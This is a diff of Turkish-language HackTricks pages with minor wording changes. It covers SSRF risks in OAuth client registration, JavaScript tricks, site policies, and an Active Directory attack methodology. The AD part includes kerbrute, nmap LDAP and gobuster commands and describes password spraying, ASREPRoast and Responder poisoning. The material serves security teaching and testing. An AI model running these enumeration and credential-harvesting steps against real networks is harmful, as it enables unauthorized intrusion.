@ -199,12 +199,12 @@ OAuth'taki Dinamik İstemci Kaydı, güvenlik açıkları için daha az belirgin
**Ana Noktalar:**
- **Dinamik İstemci Kaydı**, genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve POST istekleri aracılığıyla logolar veya JSON Web Anahtar Setleri (JWK'ler) için URL'ler gibi ayrıntıları kabul eder.
- Bu özellik, **RFC7591** ve **OpenID Connect Kaydı 1.0**'da belirtilen spesifikasyonlara uyar; bu, SSRF'ye karşı potansiyel olarak savunmasız olabilecek parametreleri içerir.
- Bu özellik, **RFC7591** ve **OpenID Connect Kaydı 1.0**'da belirtilen spesifikasyonlara uyar ve SSRF'ye karşı potansiyel olarak savunmasız olabilecek parametreleri içerir.
- Kayıt süreci, istemcileri birkaç şekilde SSRF'ye maruz bırakabilir:
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL; bu, SSRF'yi tetikleyebilir veya URL yanlış yönetilirse XSS'ye yol açabilir.
- **`jwks_uri`**: İstemcinin JWK belgesine giden bir URL; kötü niyetle oluşturulursa, sunucunun saldırgan kontrolündeki bir sunucuya dışa dönük istekler yapmasına neden olabilir.
- **`sector_identifier_uri`**: Sunucunun alabileceği `redirect_uris` JSON dizisini referans alır ve bu, SSRF fırsatı yaratır.
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler; bu, sunucu bu URI'leri yetkilendirme sürecinin başında alırsa kötüye kullanılabilir.
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL, bu da SSRF'yi tetikleyebilir veya URL yanlış yönetilirse XSS'ye yol açabilir.
- **`jwks_uri`**: İstemcinin JWK belgesine giden bir URL, kötü niyetle oluşturulursa, sunucunun saldırgan kontrolündeki bir sunucuya dışa dönük istekler yapmasına neden olabilir.
- **`sector_identifier_uri`**: Sunucunun alabileceği `redirect_uris` JSON dizisini referans alır ve bu da SSRF fırsatı yaratır.
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler, bu da sunucu bu URI'leri yetkilendirme sürecinin başında alırsa kötüye kullanılabilir.
**Kötüye Kullanım Stratejisi:**

View File

@ -186,13 +186,13 @@ log.push(i)
}
console.log(log) //33,45,62
```
## **Özellikleri Analiz Etme**
## **Attributleri Analiz Etme**
Portswigger'ın **Hackability inspector** aracı, bir javascript nesnesinin **özelliklerini analiz etmeye** yardımcı olur. Kontrol et: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
Portswigger'ın **Hackability inspector** aracı, bir javascript nesnesinin **attributlerini** **analiz etmeye** yardımcı olur. Kontrol et: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map js dosyaları**
- .map js dosyalarını indirmek için bir hile: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
- .map js dosyalarını indirmek için hile: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
- Bu dosyaları analiz etmek için bu aracı kullanabilirsiniz [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
## "--" Ataması
@ -264,7 +264,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
Yani, önceki işlevlerin çoğu aslında işe yaramaz çünkü onları kaydetmiyoruz ve çağırmıyoruz. Örnek olarak `plusone` işlevini oluşturma:
Yani, önceki işlevlerin çoğu aslında işe yaramaz çünkü onları kaydedip çağırmıyoruz. Örnek olarak `plusone` işlevini oluşturma:
```javascript
// Traductional
function plusone(a) {
@ -315,7 +315,7 @@ console.log(String(afunc)) //This will print the code of the function
console.log(this.afunc.toString()) //This will print the code of the function
console.log(global.afunc.toString()) //This will print the code of the function
```
**İsmi olmayan fonksiyonlar** durumunda, **fonksiyon kodunu** içinden hala yazdırabilirsiniz:
**İşlevin herhangi bir adı yoksa**, yine de **işlev kodunu** içinden yazdırabilirsiniz:
```javascript
;(function () {
return arguments.callee.toString()

View File

@ -15,14 +15,14 @@ Bu web sitelerinden herhangi birini kullanarak, bu Çerez Politikasına uygun ol
### Çerezler nedir?
Çerezler, bir web sitesini ziyaret ettiğinizde bilgisayarınızda veya mobil cihazınızda saklanan küçük metin dosyalarıdır. Web sitelerinin çalışmasını sağlamak, işlevselliğini artırmak ve daha kişiselleştirilmiş bir kullanıcı deneyimi sunmak için yaygın olarak kullanılırlar.
Çerezler, bir web sitesini ziyaret ettiğinizde bilgisayarınızda veya mobil cihazınızda saklanan küçük metin dosyalarıdır. Web sitelerinin çalışmasını sağlamak, işlevselliğini artırmak ve daha kişiselleştirilmiş bir kullanıcı deneyimi sunmak için yaygın olarak kullanılır.
### Çerezleri nasıl kullanıyoruz
Web sitelerimizde çerezleri aşağıdaki amaçlar için kullanıyoruz:
1. Temel çerezler: Bu çerezler, kullanıcı kimlik doğrulamasını sağlamak, güvenliği korumak ve tercihlerinizi hatırlamak gibi web sitelerimizin temel işlevselliği için gereklidir.
2. Performans çerezleri: Bu çerezler, ziyaretçilerin web sitelerimizle nasıl etkileşimde bulunduğunu anlamamıza yardımcı olur, bilgileri anonim olarak toplayıp raporlar. Bu, web sitemizin performansını ve kullanıcı deneyimini geliştirmemizi sağlar.
2. Performans çerezleri: Bu çerezler, ziyaretçilerin web sitelerimizle nasıl etkileşimde bulunduğunu anlamamıza yardımcı olur ve bilgileri anonim olarak toplar ve raporlar. Bu, web sitesi performansımızı ve kullanıcı deneyimimizi geliştirmemizi sağlar.
3. İşlevsellik çerezleri: Bu çerezler, web sitelerimizin diliniz veya bölgeniz gibi yaptığınız seçimleri hatırlamasını sağlar ve daha kişiselleştirilmiş bir deneyim sunar.
4. Hedefleme/reklam çerezleri: Bu çerezler, ilgi alanlarınıza, tarayıcı geçmişinize ve web sitelerimizle etkileşimlerinize dayalı olarak ilgili reklamlar ve pazarlama iletişimleri sunmak için kullanılır.
@ -38,7 +38,7 @@ Kendi çerezlerimizin yanı sıra, web sitesi kullanım istatistiklerini raporla
Bu Çerez Politikasındaki değişiklikler
Uygulamalarımızda veya ilgili yasalarda meydana gelen değişiklikleri yansıtmak için bu Çerez Politikasını zaman zaman güncelleyebiliriz. Çerez uygulamalarımızla ilgili en son bilgileri görmek için bu sayfayı periyodik olarak gözden geçirmenizi öneririz.
Bu Çerez Politikasını, uygulamalarımızdaki veya ilgili yasalarındaki değişiklikleri yansıtmak için zaman zaman güncelleyebiliriz. Çerez uygulamalarımızla ilgili en son bilgileri almak için bu sayfayı periyodik olarak gözden geçirmenizi öneririz.
### Bizimle iletişime geçin

View File

@ -5,7 +5,7 @@
## HackTricks Değerleri
> [!TIP]
> Bunlar **HackTricks Projesi'nin değerleri**:
> Bunlar **HackTricks Projesinin değerleri**:
>
> - **TÜM** İnternet için **EĞİTİMSEL hacking** kaynaklarına **ÜCRETSİZ** erişim sağlamak.
> - Hacking öğrenmekle ilgilidir ve öğrenim mümkün olduğunca ücretsiz olmalıdır.
@ -13,7 +13,7 @@
> - Topluluğun yayınladığı harika **hacking** tekniklerini **ORİJİNAL** **YAZARLARA** tüm **kredileri** vererek **Saklamak**.
> - **Başka insanlardan kredi almak istemiyoruz**, sadece herkes için havalı numaraları saklamak istiyoruz.
> - HackTricks'te **kendi araştırmalarımızı** da yazıyoruz.
> - Birçok durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve daha fazla ayrıntı için **okuyucuyu orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**.
> - Birçok durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve **daha fazla ayrıntı için orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**.
> - Kitaptaki tüm hacking tekniklerini **DÜZENLEMEK** böylece **DAHA ERİŞİLEBİLİR** hale getirmek.
> - HackTricks ekibi, insanların **daha hızlı öğrenebilmesi** için içeriği **sadece düzenlemek** amacıyla binlerce saat harcadı.
@ -25,7 +25,7 @@
>
> - **Bu kaynaklar için çok teşekkür ederim, size nasıl teşekkür edebilirim?**
HackTricks ekiplerine bu kaynakları bir tweet ile [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek kamuya açık bir şekilde teşekkür edebilirsiniz.\
Bu kaynakları bir araya getiren HackTricks ekiplerine [**@hacktricks_live**](https://twitter.com/hacktricks_live) şeklinde bir tweet atarak kamuya açık bir şekilde teşekkür edebilirsiniz.\
Eğer özellikle minnettar iseniz, [**projeyi burada destekleyebilirsiniz**](https://github.com/sponsors/carlospolop).\
Ve Github projelerine **bir yıldız vermeyi unutmayın!** (Aşağıdaki bağlantıları bulun).
@ -50,7 +50,7 @@ Evet, yapabilirsiniz, ancak **içeriğin alındığı belirli bağlantıları**
>
> - **HackTricks'in bir sayfasını nasıl alıntılayabilirim?**
Bilgiyi aldığınız sayfanın **bağlantısı** görünüyorsa yeterlidir.\
Bilgiyi aldığınız sayfanın **bağlantısı** göründüğü sürece yeterlidir.\
Bir bibtex'e ihtiyacınız varsa, şöyle bir şey kullanabilirsiniz:
```latex
@misc{hacktricks-bibtexing,
@ -72,17 +72,17 @@ Eğer kaybolacağından korkuyorsanız, sadece Github'da fork edin veya indirin,
>
> - **Neden sponsorlarınız var? HackTricks kitapları ticari amaçlar için mi?**
İlk **HackTricks** **değeri**, **TÜM** dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi, bu içeriği sunmak için **binlerce saat** harcamıştır, tekrar, **ÜCRETSİZ**.
İlk **HackTricks** **değeri**, **TÜM** dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat** harcamıştır, tekrar, **ÜCRETSİZ**.
Eğer HackTricks kitaplarının **ticari amaçlar** için yapıldığını düşünüyorsanız, **TAMAMEN YANLIŞ** düşünüyorsunuz.
Sponsorlarımız var çünkü, tüm içerik **ÜCRETSİZ** olsa da, topluluğa **çalışmamızı takdir etme imkanı sunmak** istiyoruz. Bu nedenle, insanlara HackTricks'e [**Github sponsorları**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor olarak destekleyip kitapta **bazı reklamlar** bulundurabiliyor, bu **reklamlar** her zaman görünür yerlerde ama **öğrenme** sürecini rahatsız etmeyecek şekilde yerleştiriliyor.
Sponsorlarımız var çünkü, tüm içerik **ÜCRETSİZ** olsa da, topluluğa **çalışmamızı takdir etme imkanı sunmak** istiyoruz. Bu nedenle, insanlara HackTricks'e [**Github sponsorları**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor olarak destekleyip kitapta **bazı reklamlar** bulundurabiliyor, bu **reklamlar** her zaman görünür yerlerde ama öğrenme sürecini **rahatsız etmeyecek** şekilde yerleştiriliyor.
HackTricks, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi rahatsız edici reklamlarla dolu değildir çünkü HackTricks ticari amaçlar için yapılmamıştır.
> [!CAUTION]
>
> - **Eğer bazı HackTricks sayfaları blog yazıma dayanıyorsa ama referans verilmemişse ne yapmalıyım?**
> - **Eğer bazı HackTricks sayfası blog yazıma dayanıyorsa ama referans verilmemişse ne yapmalıyım?**
**Çok üzgünüz. Bu olmamalıydı**. Lütfen, HackTricks sayfasının bağlantısını ve blogunuzun bağlantısını Github sorunları, Twitter, Discord... aracılığıyla bize bildirin ve **bunu kontrol edip en kısa sürede ekleyeceğiz**.
@ -116,8 +116,8 @@ Copyright © Tüm hakları saklıdır, aksi belirtilmedikçe.
#### Additional Terms:
- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri, diğer bloglardan veya yayınlardan alıntılar gibi diğer kaynaklardan içerik içerebilir. Bu tür içerik, adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izinle kullanılmaktadır. Lütfen üçüncü taraf içerik ile ilgili belirli lisans bilgileri için orijinal kaynaklara başvurun.
- Yazarlık: HackTricks tarafından yazılan orijinal içerik, bu lisansın şartlarına tabidir. Bu eseri paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilmektedir.
- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri, diğer bloglardan veya yayınlardan alıntılar gibi diğer kaynaklardan içerik içerebilir. Bu tür içerik, adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izinle kullanılmaktadır. Lütfen üçüncü taraf içeriği ile ilgili belirli lisans bilgileri için orijinal kaynaklara başvurun.
- Yazarlık: HackTricks tarafından yazılan orijinal içerik, bu lisansın şartlarına tabidir. Bu çalışmayı paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilmektedir.
#### Exemptions:
@ -125,16 +125,16 @@ Copyright © Tüm hakları saklıdır, aksi belirtilmedikçe.
Bu lisans, içerikle ilgili herhangi bir ticari marka veya marka hakları vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalar, ilgili sahiplerinin mülkiyetindedir.
**HackTricks'e erişerek veya kullanarak, bu lisansın şartlarına uymayı kabul edersiniz. Bu şartlara katılmıyorsanız, lütfen bu web sitesine erişmeyin.**
**HackTricks'e erişerek veya kullanarak, bu lisansın şartlarına uymayı kabul edersiniz. Bu şartlarla aynı fikirde değilseniz, lütfen bu web sitesine erişmeyin.**
## **Disclaimer**
> [!CAUTION]
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik, 'olduğu gibi' esasına dayanmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir beyan veya garanti vermez. Bu tür bilgilere dayanarak yaptığınız her türlü güven, tamamen kendi riskinizdedir.
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik, 'olduğu gibi' esasına dayanmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir türde, açık veya zımni, herhangi bir beyan veya garanti vermez. Bu tür bilgilere dayanarak yaptığınız herhangi bir güven, tamamen kendi riskinizdedir.
>
> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veri kaybı veya kar kaybı dahil, dolaylı veya sonuç olarak ortaya çıkan herhangi bir kayıp veya zarardan sorumlu tutulamaz.
> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veya bununla bağlantılı olarak veri kaybı veya kar kaybı dahil ancak bunlarla sınırlı olmaksızın, dolaylı veya sonuçsal kayıplar veya zararlar için hiçbir durumda sorumlu tutulamaz.
>
> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin kullanımı, kullanıcının kendi risk ve takdirindedir.
> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin herhangi bir kullanımı, kullanıcının kendi risk ve takdirine bağlıdır.
>
> Kullanıcı, bu kitapta yer alan bilgilere dayanarak alınan herhangi bir eylemden tamamen sorumludur ve burada açıklanan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım almalıdır.
>

View File

@ -4,26 +4,26 @@
## Temel genel bakış
**Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder, **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize etmeyi kolaylaştırırken, çeşitli seviyelerde **erişim haklarını** kontrol eder.
**Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder ve bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize etmeyi kolaylaştırırken, çeşitli seviyelerde **erişim haklarını** kontrol eder.
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, paylaşılan bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder ve organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
**Active Directory** içindeki anahtar kavramlar şunlardır:
1. **Dizin** Active Directory nesneleri ile ilgili tüm bilgileri barındırır.
2. **Nesne** Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** dahil olmak üzere belirtir.
3. **Alan** Dizin nesneleri için bir konteyner görevi görür, bir **orman** içinde birden fazla alanın bir arada bulunabilme yeteneğine sahiptir, her biri kendi nesne koleksiyonunu korur.
2. **Nesne** Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder.
3. **Alan** Dizin nesneleri için bir konteyner görevi görür; bir **orman** içinde birden fazla alanın bir arada bulunabilmesi mümkündür ve her biri kendi nesne koleksiyonunu korur.
4. **Ağaç** Ortak bir kök alanı paylaşan alanların bir gruplamasıdır.
5. **Orman** Active Directory'deki organizasyon yapısının zirvesi, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur.
5. **Orman** Active Directory'deki organizasyon yapısının zirvesidir ve aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur.
**Active Directory Domain Services (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik bir dizi hizmeti kapsar. Bu hizmetler şunları içerir:
**Active Directory Domain Services (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik olan bir dizi hizmeti kapsar. Bu hizmetler şunları içerir:
1. **Alan Hizmetleri** Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir, **kimlik doğrulama** ve **arama** işlevselliklerini içerir.
1. **Alan Hizmetleri** Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir; **kimlik doğrulama** ve **arama** işlevlerini içerir.
2. **Sertifika Hizmetleri** Güvenli **dijital sertifikaların** oluşturulması, dağıtımı ve yönetimini denetler.
3. **Hafif Dizin Hizmetleri** **LDAP protokolü** aracılığıyla dizin destekli uygulamaları destekler.
4. **Dizin Federasyon Hizmetleri** Bir oturumda birden fazla web uygulaması arasında kullanıcıları kimlik doğrulamak için **tek oturum açma** yetenekleri sağlar.
5. **Hak Yönetimi** Telif hakkı materyalini korumaya yardımcı olur, yetkisiz dağıtım ve kullanımını düzenler.
6. **DNS Hizmeti** **alan adlarının** çözü için kritik öneme sahiptir.
6. **DNS Hizmeti** **alan adlarının** çözülmesi için kritik öneme sahiptir.
Daha ayrıntılı bir açıklama için kontrol edin: [**TechTerms - Active Directory Tanımı**](https://techterms.com/definition/active_directory)
@ -34,14 +34,14 @@ Bir **AD'yi saldırmak** için **Kerberos kimlik doğrulama sürecini** gerçekt
## Hile Sayfası
Hızlı bir şekilde hangi komutları çalıştırabileceğinizi görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz.
AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi hızlıca görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz.
## Active Directory'yi Keşfetme (Kimlik bilgisi/oturum yok)
Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz:
- **Ağı test et:**
- Ağı tarayın, makineleri ve açık portları bulun ve bunlardan **zayıflıkları istismar etmeye** veya **kimlik bilgilerini çıkarmaya** çalışın (örneğin, [yazıcılar çok ilginç hedefler olabilir](ad-information-in-printers.md)).
- Ağı tarayın, makineleri ve açık portları bulun ve bunlardan **zayıflıkları sömürmeye** veya **kimlik bilgilerini çıkarmaya** çalışın (örneğin, [yazıcılar çok ilginç hedefler olabilir](ad-information-in-printers.md)).
- DNS'i listelemek, alan içindeki anahtar sunucular hakkında bilgi verebilir; web, yazıcılar, paylaşımlar, vpn, medya vb.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Bunu nasıl yapacağınız hakkında daha fazla bilgi bulmak için Genel [**Pentesting Metodolojisi**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın.
@ -57,7 +57,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
- **Ldap'ı listele**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (özellikle **anonim erişime** dikkat edin):
- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (lütfen **anonim erişime** özel dikkat gösterin):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -65,11 +65,11 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
- **Ağı zehirle**
- Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın.
- [**İletim saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) ana makineye erişin.
- Kimlik bilgilerini **sahte UPnP hizmetlerini** [**evil-S ile sergileyerek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) toplayın.
- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana makineye erişin.
- **sahte UPnP hizmetlerini kötü niyetli-S ile** [**açığa çıkararak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) ile kimlik bilgilerini toplayın.
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) kullanıcı adlarını/isimlerini çıkarın ve ayrıca kamuya açık olanlardan.
- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _NSoyad_, _N.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadN_, _Soyad.N_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.A_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
- Araçlar:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -77,7 +77,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
### Kullanıcı listeleme
- **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin.
- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hatası** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ ile yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir.
- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hata** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek ve bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -112,8 +112,8 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
Tamam, geçerli bir kullanıcı adınız var ama şifre yok... O zaman deneyin:
- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ niteliği **yoksa**, o kullanıcı için **bir AS_REP mesajı talep edebilirsiniz**; bu mesaj, kullanıcının şifresinin bir türevine göre şifrelenmiş bazı veriler içerecektir.
- [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı için en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!).
- Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray** yapabileceğinizi unutmayın.
- [**Password Spraying**](password-spraying.md): Bulduğunuz her kullanıcı ile en **yaygın şifreleri** deneyelim, belki bazı kullanıcı kötü bir şifre kullanıyordur (şifre politikasını aklınızda bulundurun!).
- Ayrıca, kullanıcıların mail sunucularına erişim sağlamak için **OWA sunucularını da spray yapabilirsiniz**.
{{#ref}}
password-spraying.md
@ -121,7 +121,7 @@ password-spraying.md
### LLMNR/NBT-NS Zehirleme
Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehirleyerek** **elde edebilirsiniz**:
Bazı zorluk **hash'lerini** elde edebilmeniz mümkün olabilir, **ağ** protokollerini **zehirleyerek**:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -129,19 +129,19 @@ Bazı zorluk **hash'lerini** elde edebilmek için **ağ** protokollerini **zehir
### NTML Relay
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlamayı deneyebilirsiniz.
Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zorlayarak AD ortamına erişim sağlayabilirsiniz.
### NTLM Kimlik Bilgilerini Çalmak
